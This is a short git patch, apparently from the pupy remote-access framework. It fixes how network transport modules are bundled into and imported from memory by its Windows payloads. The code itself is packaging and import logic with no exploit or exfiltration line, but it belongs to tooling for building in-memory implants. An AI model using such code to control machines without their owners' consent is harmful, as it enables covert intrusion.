From ea7879ad6ddcbd1b83e1b1b37d5f81a135e7073b Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Fri, 17 Jun 2016 19:56:29 +0200 Subject: [PATCH] fix new transports import in windows payloads --- client/build_library_zip.py | 2 +- pupy/network/conf.py | 31 ++++++++++++++++--------------- 2 files changed, 17 insertions(+), 16 deletions(-) diff --git a/client/build_library_zip.py b/client/build_library_zip.py index c4b00478..73f0bf99 100644 --- a/client/build_library_zip.py +++ b/client/build_library_zip.py @@ -30,7 +30,7 @@ else: all_dependencies=list(set([x.split(".")[0] for x in sys.modules.iterkeys()])) -all_dependencies.extend(["win32file", "win32pipe", "Crypto", "yaml", "_yaml", "rpyc"]) +all_dependencies.extend(["win32file", "win32pipe", "Crypto", "yaml", "_yaml", "rpyc", "network"]) all_dependencies=list(set(all_dependencies)) zf = zipfile.ZipFile(os.path.join("sources","resources","library%s.zip"%arch), mode='w', compression=zipfile.ZIP_DEFLATED) diff --git a/pupy/network/conf.py b/pupy/network/conf.py index 1081257d..60b8f496 100644 --- a/pupy/network/conf.py +++ b/pupy/network/conf.py @@ -26,23 +26,24 @@ def add_transport(module_name): except Exception as e: logging.warning("Could not load transport %s : %s. Transport disabled"%(module_name,e)) -if "network.transports" not in sys.modules: - import transports as trlib - #importing from memory (used by payloads) - try: - import pupyimporter - import network.transports - for path in [x for x in pupyimporter.modules.iterkeys() if x.startswith("network/transports/") and x.endswith("/conf.py")]: - try: - module_name=path.rsplit('/',2)[1] - add_transport(module_name) - except Exception as e: - pass - except Exception: - #imports for pupygen and the pupysh server - for loader, module_name, is_pkg in pkgutil.iter_modules(trlib.__path__): +#importing from memory (used by payloads) +try: + import pupyimporter + import network.transports + for path in [x for x in pupyimporter.modules.iterkeys() if x.startswith("network/transports/") and x.endswith(("/conf.py","/conf.pyc"))]: + try: + module_name=path.rsplit('/',2)[1] add_transport(module_name) + except Exception as e: + print e + pass +except Exception as e: + print e + import transports as trlib + #imports for pupygen and the pupysh server + for loader, module_name, is_pkg in pkgutil.iter_modules(trlib.__path__): + add_transport(module_name) launchers["connect"]=ConnectLauncher launchers["auto_proxy"]=AutoProxyLauncher